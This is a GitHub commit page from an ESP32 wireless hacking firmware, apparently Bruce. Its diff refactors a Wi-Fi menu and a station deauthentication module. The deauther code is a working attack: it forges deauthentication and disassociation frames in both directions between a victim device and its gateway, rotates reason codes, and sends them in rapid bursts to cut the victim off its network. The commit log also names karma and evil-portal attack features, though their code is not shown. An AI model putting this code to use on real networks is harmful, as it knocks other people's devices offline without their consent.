Skip to content

Commit f8681ff

Browse files
Ninja-jractions-userbmorcelli
authored
Enhanced karma (#2200)
* Enhance deauth functionality with new helper methods Added helper functions for MAC address validation and AP channel retrieval. Enhanced deauthentication process with corrected frame building and improved handling of network modes. * Enhance WiFi attack functions and add broadcast MAC Added functions for setting up and cleaning up WiFi in attack mode, and declared a broadcast MAC address for flood attacks. * Enhance deauth frame preparation and transmission Refactor deauth frame handling and improve logging. * Enhance captive portal detection and routing Improved captive portal detection for modern devices by adding specific routes for various platforms and enhancing the handling of common URLs used for captive portal detection. * Update wifi_atks.h * Update deauther.cpp * Update deauther.cpp * Update wifi_atks.cpp * Update deauther.cpp * Update deauther.cpp * Update wifi_atks.cpp * Update evil_portal.h * Update evil_portal.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.h * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.h * Update wifi_atks.cpp * Update deauther.cpp * Update wifi_atks.cpp * Update wifi_atks.h * Update wifi_atks.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.h * Create broadcast_attack.cpp * Create broadcast_attack.h * Add files via upload * Update broadcast_attack.cpp * Update broadcast_attack.h * Update broadcast_attack.h * Update broadcast_attack.cpp * Add workflow to generate SSID database This workflow generates an SSID database from a list and commits the generated files. * Add files via upload * Update generated SSID database * Add files via upload * Delete generate_ssid_database_karma.yml * Delete ssid_list.txt * Update ssid_database.h * Update ssid_database.cpp * Add files via upload * Update wifi_atks.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update evil_portal.cpp * Update evil_portal.cpp * Simplify Sniffer options in WifiMenu * Update wifi_atks.cpp * Update wifi_atks.cpp * Update karma_attack.cpp * Update wifi_atks.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update sniffer.cpp * Update wifi_atks.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.cpp * Delete broadcast_attack.cpp * Delete broadcast_attack.h * Delete ssid_database.cpp * Delete ssid_database.h * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.h * Update karma_attack.h * Update fmt.Println to print 'Goodbye World' * Refactor karma_attack.h for improved clarity * Update karma_attack.cpp * Refactor template file loading in karma_attack.cpp * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update evil_portal.cpp * Update evil_portal.h * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update evil_portal.cpp * Update evil_portal.h * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update evil_portal.h * Update evil_portal.cpp * Update karma_attack.cpp * Update karma_attack.h * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Update karma_attack.cpp * Delete sd_files/ssid_list.txt * Add ssid_list.zip --------- Co-authored-by: GitHub Action <action@github.com> Co-authored-by: Pirata <104320209+bmorcelli@users.noreply.github.com>
1 parent 0563b78 commit f8681ff

10 files changed

Lines changed: 3353 additions & 537 deletions

File tree

sd_files/ssid_list.zip

78.6 KB
Binary file not shown.

src/core/menu_items/WifiMenu.cpp

Lines changed: 1 addition & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -70,14 +70,7 @@ void WifiMenu::optionsMenu() {
7070
options.push_back({"SOCKS4 Proxy", []() { socks4Proxy(1080); }});
7171
options.push_back({"TelNET", telnet_setup});
7272
options.push_back({"SSH", lambdaHelper(ssh_setup, String(""))});
73-
options.push_back({"Sniffers", [this]() {
74-
std::vector<Option> snifferOptions;
75-
snifferOptions.push_back({"Raw Sniffer", sniffer_setup});
76-
snifferOptions.push_back({"Probe Sniffer", karma_setup});
77-
snifferOptions.push_back({"Back", [this]() { optionsMenu(); }});
78-
79-
loopOptions(snifferOptions, MENU_TYPE_SUBMENU, "Sniffers");
80-
}});
73+
options.push_back({"Sniffer", sniffer_setup});
8174
options.push_back({"Scan Hosts", [=]() {
8275
bool doScan = true;
8376
if (!wifiConnected) doScan = wifiConnectMenu();

src/modules/wifi/deauther.cpp

Lines changed: 106 additions & 102 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
#include "deauther.h"
12
#include "clients.h"
23
#include "core/display.h"
34
#include "core/mykeyboard.h"
@@ -40,152 +41,164 @@ void getGatewayMAC(uint8_t gatewayMAC[6]) {
4041
}
4142
}
4243

43-
// ============================================
44-
// SIMPLE MONITOR MODE SETUP (OPTIONAL)
45-
// ============================================
44+
bool isMACZero(const uint8_t* mac) {
45+
for (int i = 0; i < 6; i++) {
46+
if (mac[i] != 0x00) return false;
47+
}
48+
return true;
49+
}
50+
51+
bool macCompare(const uint8_t* mac1, const uint8_t* mac2) {
52+
for (int i = 0; i < 6; i++) {
53+
if (mac1[i] != mac2[i]) return false;
54+
}
55+
return true;
56+
}
57+
58+
int getAPChannel(const uint8_t* target_bssid) {
59+
int found_channel = 0;
60+
61+
int numNetworks = WiFi.scanNetworks(false, false);
62+
63+
for (int i = 0; i < numNetworks; i++) {
64+
uint8_t* bssid_ptr = WiFi.BSSID(i);
65+
66+
if (macCompare(bssid_ptr, target_bssid)) {
67+
found_channel = WiFi.channel(i);
68+
break;
69+
}
70+
}
71+
72+
WiFi.scanDelete();
73+
74+
if (found_channel == 0) {
75+
found_channel = WiFi.channel();
76+
if (found_channel == 0) found_channel = 1;
77+
}
78+
79+
return found_channel;
80+
}
4681

4782
bool tryMonitorMode(uint8_t channel) {
4883
Serial.printf("[DEAUTH] Trying monitor mode on CH%d\n", channel);
49-
50-
// Save current state
84+
5185
wifi_mode_t current_mode;
5286
esp_wifi_get_mode(&current_mode);
53-
54-
// Stop WiFi briefly
87+
5588
esp_wifi_stop();
5689
delay(5);
57-
58-
// Reinitialize
90+
5991
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
6092
esp_wifi_init(&cfg);
61-
62-
// Set to STA mode (required for monitor-like behavior)
93+
6394
esp_wifi_set_mode(WIFI_MODE_STA);
64-
65-
// Enable promiscuous mode (closest we can get to monitor)
95+
6696
wifi_promiscuous_filter_t filter = {
6797
.filter_mask = WIFI_PROMIS_FILTER_MASK_ALL
6898
};
6999
esp_wifi_set_promiscuous_filter(&filter);
70100
esp_wifi_set_promiscuous(true);
71-
72-
// Set channel
101+
73102
esp_err_t err = esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
74103
if (err != ESP_OK) {
75104
Serial.printf("[DEAUTH] Failed to set channel: %d\n", err);
76-
77-
// Restore original state
105+
78106
esp_wifi_set_promiscuous(false);
79107
esp_wifi_set_mode(current_mode);
80108
esp_wifi_start();
81109
return false;
82110
}
83-
84-
// Slight power increase for better range
111+
85112
esp_wifi_set_max_tx_power(78);
86-
113+
87114
Serial.printf("[DEAUTH] Using enhanced mode on CH%d\n", channel);
88115
return true;
89116
}
90117

91-
// ============================================
92-
// OPTIMIZED FRAME BUILDING
93-
// ============================================
94-
95118
void buildOptimizedDeauthFrame(uint8_t* frame,
96119
const uint8_t* dest,
97120
const uint8_t* src,
98121
const uint8_t* bssid,
99122
uint8_t reason = 0x07,
100123
bool is_disassoc = false) {
101-
// Frame control
102124
frame[0] = is_disassoc ? 0xA0 : 0xC0;
103125
frame[1] = 0x00;
104-
105-
// Duration
126+
106127
frame[2] = 0x00;
107128
frame[3] = 0x00;
108-
109-
// MAC addresses
129+
110130
memcpy(&frame[4], dest, 6);
111131
memcpy(&frame[10], src, 6);
112132
memcpy(&frame[16], bssid, 6);
113-
114-
// Sequence control (randomized)
133+
115134
static uint16_t seq = 0;
116135
seq = random(0, 4096);
117136
frame[22] = (seq >> 4) & 0xFF;
118137
frame[23] = ((seq & 0x0F) << 4);
119-
120-
// Reason code
138+
121139
frame[24] = reason;
122140
frame[25] = 0x00;
123141
}
124142

125-
// ============================================
126-
// ENHANCED STATION DEAUTH (MAIN FUNCTION)
127-
// ============================================
128-
129143
void stationDeauth(Host host) {
144+
if (WiFi.status() != WL_CONNECTED) {
145+
displayError("Not connected to WiFi", true);
146+
return;
147+
}
130148
// Stop WebUI before setting WiFi mode for station deauth
131149
cleanlyStopWebUiForWiFiFeature();
132-
133-
uint8_t MAC[6];
150+
uint8_t targetMAC[6];
151+
134152
uint8_t gatewayMAC[6];
135153
uint8_t victimIP[4];
136-
137-
// Copy IP address
154+
138155
for (int i = 0; i < 4; i++) victimIP[i] = host.ip[i];
139-
140-
// Get current network info
141-
String tssid = WiFi.SSID();
142-
int channel = 1;
143-
144-
// Try to get channel
145-
wifi_ap_record_t ap_info;
146-
if (esp_wifi_sta_get_ap_info(&ap_info) == ESP_OK) {
147-
channel = ap_info.primary;
148-
if (channel == 0) channel = 1;
149-
} else {
150-
channel = WiFi.channel();
151-
if (channel == 0) channel = 1;
156+
157+
stringToMAC(host.mac.c_str(), targetMAC);
158+
159+
if (isMACZero(targetMAC)) {
160+
displayError("Invalid MAC address", true);
161+
return;
152162
}
153-
154-
// Get gateway MAC (using Bruce's original function)
163+
155164
getGatewayMAC(gatewayMAC);
156-
157-
// Convert target MAC
158-
stringToMAC(host.mac.c_str(), MAC);
159-
160-
// Try enhanced mode first
165+
166+
if (isMACZero(gatewayMAC)) {
167+
displayError("Could not get gateway MAC", true);
168+
return;
169+
}
170+
171+
int channel = getAPChannel(gatewayMAC);
172+
161173
bool enhanced_mode = tryMonitorMode(channel);
162-
174+
163175
if (!enhanced_mode) {
164-
// Fallback to Bruce's original AP mode
165176
wifiDisconnect();
166177
delay(10);
167178
WiFi.mode(WIFI_AP);
168-
169-
if (!WiFi.softAP(tssid, emptyString, channel, 1, 4, false)) {
179+
180+
String currentSsid = WiFi.SSID();
181+
if (currentSsid.length() == 0) {
182+
currentSsid = "DEAUTH_" + String(random(1000, 9999));
183+
}
184+
185+
if (!WiFi.softAP(currentSsid.c_str(), emptyString, channel, 1, 4, false)) {
170186
Serial.println("Fail Starting AP Mode");
171187
displayError("Fail starting Deauth", true);
172188
return;
173189
}
174190
}
175-
176-
// Prepare frames
177-
uint8_t deauth_ap_to_sta[26]; // AP -> Station deauth
178-
uint8_t disassoc_ap_to_sta[26]; // AP -> Station disassociate
179-
uint8_t deauth_sta_to_ap[26]; // Station -> AP deauth (spoofed)
180-
uint8_t disassoc_sta_to_ap[26]; // Station -> AP disassociate (spoofed)
181-
182-
// Build frames once
183-
buildOptimizedDeauthFrame(deauth_ap_to_sta, MAC, gatewayMAC, gatewayMAC, 0x07, false);
184-
buildOptimizedDeauthFrame(disassoc_ap_to_sta, MAC, gatewayMAC, gatewayMAC, 0x07, true);
185-
buildOptimizedDeauthFrame(deauth_sta_to_ap, gatewayMAC, MAC, gatewayMAC, 0x07, false);
186-
buildOptimizedDeauthFrame(disassoc_sta_to_ap, gatewayMAC, MAC, gatewayMAC, 0x07, true);
187-
188-
// Bruce's original display code (keep same structure)
191+
192+
uint8_t deauth_ap_to_sta[26];
193+
uint8_t disassoc_ap_to_sta[26];
194+
uint8_t deauth_sta_to_ap[26];
195+
uint8_t disassoc_sta_to_ap[26];
196+
197+
buildOptimizedDeauthFrame(deauth_ap_to_sta, targetMAC, gatewayMAC, gatewayMAC, 0x07, false);
198+
buildOptimizedDeauthFrame(disassoc_ap_to_sta, targetMAC, gatewayMAC, gatewayMAC, 0x07, true);
199+
buildOptimizedDeauthFrame(deauth_sta_to_ap, gatewayMAC, targetMAC, gatewayMAC, 0x07, false);
200+
buildOptimizedDeauthFrame(disassoc_sta_to_ap, gatewayMAC, targetMAC, gatewayMAC, 0x07, true);
201+
189202
drawMainBorderWithTitle("Station Deauth");
190203
tft.setTextSize(FP);
191204
padprintln("Trying to deauth one target.");
@@ -196,73 +209,64 @@ void stationDeauth(Host host) {
196209
padprintln("Mode:" + String(enhanced_mode ? "Enhanced" : "AP"));
197210
padprintln("");
198211
padprintln("Press Any key to STOP.");
199-
212+
200213
long tmp = millis();
201214
int cont = 0;
202215
int total_frames = 0;
203-
204-
// Reason codes to rotate through
216+
205217
uint8_t reason_codes[] = {0x01, 0x04, 0x06, 0x07, 0x08};
206218
uint8_t current_reason = 0;
207-
219+
208220
while (!check(AnyKeyPress)) {
209-
// Update reason code every 20 frames
210221
if (cont % 20 == 0) {
211222
current_reason = (current_reason + 1) % 5;
212223
deauth_ap_to_sta[24] = reason_codes[current_reason];
213224
disassoc_ap_to_sta[24] = reason_codes[current_reason];
214225
deauth_sta_to_ap[24] = reason_codes[current_reason];
215226
disassoc_sta_to_ap[24] = reason_codes[current_reason];
216227
}
217-
228+
218229
if (enhanced_mode) {
219-
// Enhanced mode: Use raw frame transmission
220230
esp_wifi_80211_tx(WIFI_IF_STA, deauth_ap_to_sta, 26, false);
221231
esp_wifi_80211_tx(WIFI_IF_STA, disassoc_ap_to_sta, 26, false);
222232
esp_wifi_80211_tx(WIFI_IF_STA, deauth_sta_to_ap, 26, false);
223233
esp_wifi_80211_tx(WIFI_IF_STA, disassoc_sta_to_ap, 26, false);
224234
} else {
225-
// AP mode: Use Bruce's original send_raw_frame
226235
send_raw_frame(deauth_ap_to_sta, 26);
227236
send_raw_frame(disassoc_ap_to_sta, 26);
228237
send_raw_frame(deauth_sta_to_ap, 26);
229238
send_raw_frame(disassoc_sta_to_ap, 26);
230239
}
231-
240+
232241
cont += 4;
233242
total_frames += 4;
234-
235-
// Optimized timing: burst then pause
243+
236244
if (cont % 16 == 0) {
237-
delay(35); // Pause between bursts
245+
delay(35);
238246
} else {
239-
delay(2); // Fast burst
247+
delay(2);
240248
}
241-
242-
// Update FPS display every second
249+
243250
if (millis() - tmp > 1000) {
244251
int fps = cont;
245252
cont = 0;
246253
tmp = millis();
247-
248-
// Update FPS counter (more efficient)
254+
249255
tft.fillRect(tftWidth - 100, tftHeight - 40, 100, 40, TFT_BLACK);
250256
tft.drawRightString(String(fps) + " fps", tftWidth - 12, tftHeight - 36, 1);
251257
tft.drawRightString("Total: " + String(total_frames), tftWidth - 12, tftHeight - 20, 1);
252258
}
253259
}
254-
255-
// Cleanup
260+
256261
if (enhanced_mode) {
257262
esp_wifi_set_promiscuous(false);
258263
}
259-
264+
260265
wifiDisconnect();
261266
WiFi.mode(WIFI_STA);
262-
263-
// Show summary
267+
264268
tft.fillRect(0, tftHeight - 60, tftWidth, 60, TFT_BLACK);
265269
padprintln("Attack stopped.");
266270
padprintln("Frames sent: " + String(total_frames));
267271
delay(1000);
268-
}
272+
}

0 commit comments

Comments
 (0)